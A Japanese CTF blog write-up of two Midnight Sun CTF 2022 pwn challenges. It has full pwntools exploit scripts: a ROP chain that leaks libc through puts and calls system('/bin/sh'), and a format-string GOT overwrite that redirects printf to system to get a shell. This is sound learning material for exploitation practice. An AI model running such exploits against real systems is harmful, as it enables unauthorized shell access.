CTF備忘録

CTFに関して学んだことを記します

Midnight Sun CTF Qualifiers 2022 Writeups

まえがき

1人で2時間出てpwnのspeed問題を2問解きました。
コンテストの時間を2日とかにしてほしい・・・

[pwn 50pts] speed1

出ました、ROPです。
前回のSpaceHeroesCTFのVaderでもやりましたね。
今回はlibcが配られてるのでlibc_baseを求めてsystemを起動するだけです。

from pwn import *

conn = remote("speed-01.hfsc.tf", "61000")
elf = ELF('./speed1')
libc = ELF('./libc.so.6')


offset = 0x28
pop_rdi_ret = 0x004012b3
start_addr = 0x4010d0
ret = 0x0040101a

payload = b""
payload += b"\x90"*offset
payload += pack(pop_rdi_ret, '64')
payload += pack(elf.got["puts"], '64')
payload += pack(elf.plt["puts"], '64')
payload += pack(start_addr, '64')

conn.recvuntil(": ")
conn.sendline(payload)

leak_addr = unpack(conn.recvline().rstrip().ljust(8, b"\x00"), 'all')
log.info("leak address : "+hex(leak_addr))

libc_base = leak_addr - libc.symbols["puts"]
log.info("libc base : "+hex(libc_base))
log.info("libc_puts : "+hex(libc.symbols["puts"]))

binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.symbols["system"]

payload = b""
payload += b"\x90"*offset
payload += pack(ret, '64')
payload += pack(pop_rdi_ret, '64')
payload += pack(binsh_addr, '64')
payload += pack(system_addr, '64')

conn.sendline(payload)
conn.interactive()

[pwn 50pts] speed2

BOFはありませんがprintfの扱いが悪いためFSAできます。

前回のSpaceHeroesCTFのGuardians of the Galaxyのときのようにflagを読みだせれば良いのですが
flag.txtをfopenしていないため厳しそうです。

ここでchecksecを使ってみるとPartial RELROなことからGOT Overwriteができることがわかります。

方針としては、libcが配られているためprintfをGOT Overwriteしてlibc内のsystemに書き換えてprintf(str) -> system(str)
を実行することを考えます。
このとき入力のstrを"/bin/sh"としてやれば"/bin/sh"が出力されるかわりにシェルが起動します。

1度目のFSAでexitをGOT Overwriteして関数の先頭アドレスに飛ばします。
こうすることで何回でもFSAが実行できるようにできます。

2度目のFSAでprintfをsystemに書き換え方針の攻撃を実行します。

from pwn import *

context.clear(arch="i386")

conn = remote("speed-02.hfsc.tf", "21000")

elf = ELF('./speed2')
libc = ELF('./libc.so.6')

conn.recvuntil(": ")

offset = 7
exit_addr = 0x804c020
start_addr = 0x8049140
writes = {exit_addr: start_addr}
numbwritten = 0
write_size = "byte"

payload = b""
payload += fmtstr_payload(offset, writes, numbwritten, write_size)

conn.sendline(payload)
conn.recvuntil(": ")

payload = b""
payload += b"%2$p"

conn.sendline(payload)

leak_addr = int(conn.recvline(), 16)
log.info("leak address : "+hex(leak_addr))

libc_base = leak_addr-libc.symbols["_IO_2_1_stdin_"]
log.info("libc_base : "+hex(libc_base))

system_addr = libc_base+libc.symbols["system"]

offset = 7
printf_addr = 0x804c00c
writes = {printf_addr: system_addr}
numbwritten = 0
write_size = "byte"

payload = b""
payload += fmtstr_payload(offset, writes, numbwritten, write_size)

conn.sendline(payload)

conn.interactive()

終わりに

speed2は私の苦手なFSAでGOT Overwriteする問題でしたが解けてよかったです(コンテスト中では初かも)。
実際に自明なアドレスにFSAしてみてpwndbgで覗いてみたり、実行中のリークしたアドレスを覗いてみたりしました。
やはり手を動かすと理解が深まりますね。

今回のCTFも楽しかったです。